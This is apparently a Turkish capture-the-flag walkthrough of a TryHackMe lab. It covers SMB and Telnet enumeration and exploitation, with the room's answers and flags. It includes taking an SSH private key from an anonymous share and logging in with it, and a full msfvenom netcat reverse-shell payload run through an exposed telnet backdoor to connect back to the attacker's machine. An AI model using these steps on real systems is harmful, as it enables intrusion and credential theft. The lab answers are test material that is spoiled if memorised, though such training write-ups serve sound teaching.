Task 2 - Understanding SMB
SMB Nedir?
Server Message Block Protocol (SMB) bir ağ üzerindeki dosyalara, yazıcılara, seri bağlantı noktalarına ve diğer kaynaklara erişimi paylaşmak için kullanılan bir client - server iletişim protokolüdür. source
Sunucular dosya sistemlerini ve diğer kaynakları (yazıcılar, pipes, API'ler) ağ üzerindeki istemcilerin kullanımına sunar. İstemci bilgisayarların kendi sabit diskleri olabilir, ancak sunuculardaki paylaşılan dosya sistemlerine ve yazıcılara da erişmek isterler.
SMB protokolü bir response request protokolü olarak bilinir, yani bir bağlantı kurmak için istemci ve sunucu arasında birden fazla mesaj iletir. İstemciler sunuculara TCP/IP (aslında RFC1001 ve RFC1002'de belirtildiği gibi TCP/IP üzerinden NetBIOS), NetBEUI veya IPX/SPX kullanarak bağlanır.
SMB nasıl çalışır?
Bir bağlantı kurduktan sonra, istemciler sunucuya paylaşımlara erişmelerine, dosyaları açmalarına, dosyaları okumalarına yazmalarına ve genellikle bir dosya sistemiyle yapmak istediğiniz her şeyi yapmalarına olanak tanıyan komutlar (SMB'ler) gönderebilirler. Ancak, SMB söz konusu olduğunda, bu işlemler ağ üzerinden yapılır.
SMB'yi ne çalıştırır?
Windows 95'ten bu yana Microsoft Windows işletim sistemleri istemci ve sunucu SMB protokolü desteği içermektedir. SMB protokolünü destekleyen açık kaynaklı bir sunucu olan Samba, Unix sistemleri için piyasaya sürülmüştür.
1. SMB açılımı nedir?
Server Message Block
2. SMB ne tür bir protokoldür?
response-request
3. İstemciler sunuculara ne kullanarak bağlanır?
TCP/IP
4. Samba hangi sistemlerde çalışır?
Unix
Task 3 - Enumerating SMB
Enumeration
Enumeration, potansiyel saldırı vektörlerini bulmak ve istismara yardımcı olmak için bir hedef hakkında bilgi toplama sürecidir.
Bu süreç bir saldırının başarılı olması için çok önemlidir, çünkü işe yaramayan ya da sistemi çökertebilecek açıklarla zaman kaybetmek enerji kaybı olabilir. Enumeration, kullanıcı adlarını, parolaları, ağ bilgilerini, ana bilgisayar adlarını, uygulama verilerini, hizmetleri veya bir saldırgan için değerli olabilecek diğer bilgileri toplamak için kullanılabilir.
SMB
Tipik olarak, bir sunucu üzerinde bağlanılabilen ve dosyaları görüntülemek veya aktarmak için kullanılabilen SMB paylaşım sürücüleri vardır. SMB, hassas bilgileri keşfetmek isteyen bir saldırgan için genellikle harika bir başlangıç noktası olabilir bazen bu paylaşımlarda nelerin bulunduğuna şaşıracaksınız.
Port Taraması
Enumeration ilk adımı, hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için bir port taraması yapmaktır.
Enum4Linux
Enum4linux, hem Windows hem de Linux sistemlerinde SMB paylaşımlarını numaralandırmak için kullanılan bir araçtır. Temel olarak Samba paketindeki araçların etrafını sarar ve hedeften SMB ile ilgili bilgileri hızlı bir şekilde çıkarmayı kolaylaştırır. Kendi saldırı makinenize yüklemeniz gerekiyorsa, bunu resmi github adresinden indirip yapabilirsiniz.
Enum4linux'un kullanımı basittir: enum4linux [options] ip
| TAG | FUNCTION |
|---|---|
| -U | Kullanıcı listesi |
| -M | Makine listesi |
| -N | İsim listsi (-U ve -M farklıdır.) |
| -S | Paylaşılan listesi |
| -P | Password politikası bilgileri |
| -G | Group ve Kullanıcı listesi |
| -a | Hepsini getir |
1. Nmap taraması yapın. Kaç port açık?
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt3
2. SMB hangi portlar üzerinde çalışıyor?
139/445
3. Enum4Linux ile başlayalım, tam bir temel enumeration yapalım. Çalışma grubunun adı nedir?
enum4linux -a 10.10.44.59WORKGROUP
4. Makinenin adı olarak ne geliyor?
POLOSMB
5. Hangi işletim sistemi sürümü çalışıyor?
6.1
6. Hangi paylaşım araştırmak isteyebileceğimiz bir şey olarak öne çıkıyor?
IPC$ ve print$ varsayılan SMB paylaşımlarıdır. netlogon, Network Login hizmetine ait bir paylaşımdır. Eleme sürecine göre, öne çıkan paylaşım profillerdir.
profiles
Task 4 - Exploiting SMB
SMB Exploit Türleri
CVE-2017-7494 gibi SMB'den yararlanarak uzaktan kod çalıştırmaya izin verebilecek güvenlik açıkları olsa da, bir sisteme girmenin en iyi yolunun sistemdeki yanlış yapılandırmalardan kaynaklandığı bir durumla karşılaşma olasılığınız daha yüksektir. Bu durumda, anonim SMB paylaşım erişiminden yararlanacağız bir shell'e yol açacak bilgileri elde etmemize izin verebilecek yaygın bir yanlış yapılandırma.
SMBClient
Bir SMB paylaşımına erişmeye çalıştığımız için, sunuculardaki kaynaklara erişmek için bir istemciye ihtiyacımız var. SMBClient kullanacağız çünkü varsayılan samba paketinin bir parçasıdır. Kendi makinenize yüklemeniz gerekiyorsa, buradan indirebilirisiniz
smbclient //[IP]/[SHARE]| TAG | FUNCTION |
|---|---|
| -U | Kullanıcı bilgisi |
| -p | Port bilgisi |
1. Varsayılan bağlantı noktasında 10.10.10.2 IP'li bir makinede "suit" kullanıcısı olarak "secret" adlı bir SMB paylaşımına erişmek için doğru sözdizimi ne olurdu?
smbclient //10.10.10.2/secret -U suit -p 445
2. Paylaşım anonim erişime izin veriyor mu?
smbclient //10.10.44.59/profiles -U AnonymousY
3. Değerli bilgiler içerebilecek ilginç belgeler için etrafa bir göz atın. Bu profil klasörünün kime ait olduğuna bakalım?
Öne çıkan dosya "Working From Home Information.txt". more komutu kullanılarak dosyanın içeriği okunabilir.
more "Working From Home Information.txt"John Cactus
4. Evden çalışmasına izin vermek için hangi hizmet yapılandırıldı?
ssh
5. Artık bunu bildiğimize göre, paylaşımda hangi dizine bakmalıyız?
SSH anahtarları .ssh dizininde saklanır. Varsayılan olarak sunucunun private key id_rsa adlı bir dosyaya kaydedilir ve public key id_rsa.pub adlı bir dosyada saklanır. Sunucuya bağlanmak için private key'e ihtiyacımız vardır. John Cactus için SSH kullanıcı adını bilmediğimizden, private key SSH kullanıcı adını içereceğinden public ve private key indirdim.
mget komutu kullanılarak bir SMB sunucusundan birden fazla dosya indirilebilir.
mget id_rsa id_rsa.pub.ssh
6. Bu dizin, bir kullanıcının bir sunucuda kimliğini doğrulamasına ve ardından sunucuya erişmesine olanak tanıyan kimlik doğrulama anahtarlarını içerir. Bu anahtarlardan hangisi bizim için en kullanışlıdır?
id_rsa
Bu dosyayı yerel makinenize indirin ve "chmod 600 [dosya]" kullanarak izinleri "600" olarak değiştirin.
Şimdi, hesabın kullanıcı adını bulmak için daha önce topladığınız bilgileri kullanın. Ardından, sunucuda oturum açmak için hizmeti ve anahtarı kullanın.
7. smb.txt içindeki flag nedir?
chmod 600 id_rsa # Private key izinlerini değiştir.
cat id_rsa.pub # Public key içerisin de ssh kullanıcı adını dosya sonunda buluyoruz.
ssh cactus@10.10.44.59 -i id_rsa # Private key kullanarak sunucuya bağlanıyoruz.THM{smb_is_fun_eh?}
Task 5 - Understanding Telnet
Telnet Nedir?
Telnet, bir telnet istemcisi kullanarak, bir telnet sunucusu barındıran uzak bir makineye bağlanmanıza ve bu makinede komutlar çalıştırmanıza olanak tanıyan bir uygulama protokolüdür.
Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra sanal bir terminal haline gelecek ve uzak ana bilgisayarla etkileşime girmenize izin verecektir.
Telnet tüm mesajları açık metin olarak gönderir ve belirli bir güvenlik mekanizması yoktur. Bu nedenle, birçok uygulama ve hizmette Telnet'in yerini çoğu uygulamada SSH almıştır.
Telnet nasıl çalışır?
Kullanıcı sunucuya Telnet protokolünü kullanarak bağlanır, bu da bir komut istemine telnet girmek anlamına gelir. Kullanıcı daha sonra Telnet komutlarını kullanarak sunucuda komutları yürütür. Aşağıdaki sözdizimini kullanarak bir telnet sunucusuna bağlanabilirsiniz:
telnet [ip] [port]1. Telnet nedir?
application protocol
2. Telnet'in yerini yavaş yavaş ne aldı?
ssh
3. IP adresi 10.10.10.3 olan bir Telnet sunucusuna 23 numaralı bağlantı noktasından nasıl bağlanırsınız?
telnet 10.10.10.3 23
4. Neyin eksikliği, tüm Telnet iletişiminin düz metin olduğu anlamına gelir?
encryption
Task 6 - Enumerating Telnet
Enumeration
Enumerating yanlış yapılandırılmış bir ağ hizmetinden yararlanmada ne kadar etkili olabileceğini daha önce görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman gözümüze çarpmaz. Bu nedenle, özellikle ağ hizmetlerinin numaralandırılması söz konusu olduğunda, yöntemimizde titiz olmamız gerekir.
Port Tarama
Hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için genellikle yaptığımız gibi bir port taramasıyla başlayalım. Makineyi nmap ile tarayın.
1. Hedef makinede kaç port açık?
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt1
2. Port numarası nedir?
8012
3. Bu bağlantı noktası atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?
tcp
4. nmap taramasını -p- komutu olmadan yeniden çalıştırdığınızda, kaç bağlantı noktası açık olarak görünüyor?
0
5. Bu port ne için kullanılır?
Port 8012 tarafından döndürülen mesaj bize Skidy's Backdoor'u çalıştırdığını söylüyor.
a backdoor
6. Kime ait olabilir? Olası kullanıcı adlarını toplamak, numaralandırmada önemli bir adımdır.
Skidy
Task 7 - Exploiting Telnet
Telnet Exploit Türleri
Bir protokol olan Telnet, daha önce bahsettiğimiz nedenlerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu nedenle tüm iletişimi düz metin üzerinden gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, istismar ederken bunları kontrol edebilirsiniz:
Common Vulnerabilities and Exposures kısaltması olan CVE, kamuya açıklanmış bilgisayar güvenlik kusurlarının bir listesidir. Birisi bir CVE'den bahsettiğinde, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.
Bununla birlikte, telnet'in nasıl yapılandırıldığı veya çalıştığıyla ilgili bir yanlış yapılandırma bulma olasılığınız çok daha yüksektir ve bu da onu istismar etmenize olanak tanır.
Reverse Shell Nedir?
"Shell" basitçe bir cihaz üzerinde kod veya komut çalıştırmak için kullanılabilen bir kod veya program parçası olarak tanımlanabilir.
Reverse Shell, hedef makinenin saldıran makineyle geri iletişim kurduğu bir shell türüdür.
Saldıran makinenin bağlantıyı aldığı bir dinleme portu vardır, bu da kod veya komut yürütülmesine neden olur.
1. Bu açık bir telnet bağlantısı! Nasıl bir karşılama mesajı alıyoruz?
telnet 10.10.127.187 8012SKIDY'S BACKDOOR.
2. Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden geri dönüş alıyor muyuz?
.HELP menüsü tüm komutların başına .RUN eklememizi söylüyor. Linux komutlarını .RUN ön ekli olarak çalıştırmayı denedim ancak herhangi bir çıktı alamadık.
N
3. Yazdığımız şeyin bir sistem komutu olarak çalıştırılıp çalıştırılmadığını kontrol edelim.
N
Yerel makinenizde bir tcpdump dinleyicisi başlatın.
tcpdump ip proto \\icmp -i tun0 # Yerel Kali Makine için
tcpdump ip proto \\icmp -i ens5 # AttackBox Makinasi içinBu, özellikle ping'lerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisi başlatır.
4. Şimdi, sistem komutlarını çalıştırıp çalıştıramadığımızı görmek için telnet oturumu üzerinden "ping [yerel THM ip] -c 1" komutunu kullanın. Herhangi bir ping alıyor muyuz?
Telnet bağlantınızın olduğu terminalden ping komutunu çalıştırın. Komutun önüne .RUN eklemeyi unutmayın.
.RUN ping 10.6.67.160 -c 1Komut çalıştırıldıktan sonra tcpdump'ın çalıştığı terminali kontrol edin. ICMP paketlerini listelemiş olmalıdır.
Y
msfvenom kullanarak bir reverse shell yükü oluşturacağız. Bu bizim için bir netcat reverse shell oluşturacak ve kodlayacaktır.
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R| TAG | FUNCTION |
|---|---|
| -p | Payload |
| lhost | Yerel ana bilgisayar IP adresimiz. |
| lport | Dinlenecek port |
| R | Payload ham formatta dışa aktarma |
5. Oluşturulan yük hangi kelime ile başlıyor?
Payload, bir reverse shell oluşturacaktır. Reverse Shell, hedef makine saldıran makine ile ağ bağlantısını başlatır. Kabuğun bizim makinemize bağlanması gerektiğinden, TryHackMe ağındaki makinemizin IP adresine ihtiyacımız var. Eğer TryHackMe'ye bağlanmak için OpenVPN kullandıysanız tun0 arayüzüne bakmanız gerekir.
ip a l tun0inet altındaki değer ihtiyacımız olan IP adresidir.
msfvenom -p cmd/unix/reverse_netcat lhost=10.6.67.160 lport=4444 RÇıktının son satırı oluşturulan yüktür.
mkfifo /tmp/gewdh; nc 10.6.67.160 4444 0</tmp/gewdh | /bin/sh >/tmp/gewdh 2>&1; rm /tmp/gewdhmkfifo
Neredeyse başardık. Şimdi tek yapmamız gereken yerel makinemizde bir netcat dinleyicisi başlatmak. Bunu kullanarak yapıyoruz:
nc -lvnp [listening port]6. Yükümüzde seçtiğimiz dinleme portu için komut nasıl görünürdü?
nc -lvnp 4444
7. flag.txt dosyasının içeriği nedir?
THM{y0u_g0t_th3_t3ln3t_fl4g}








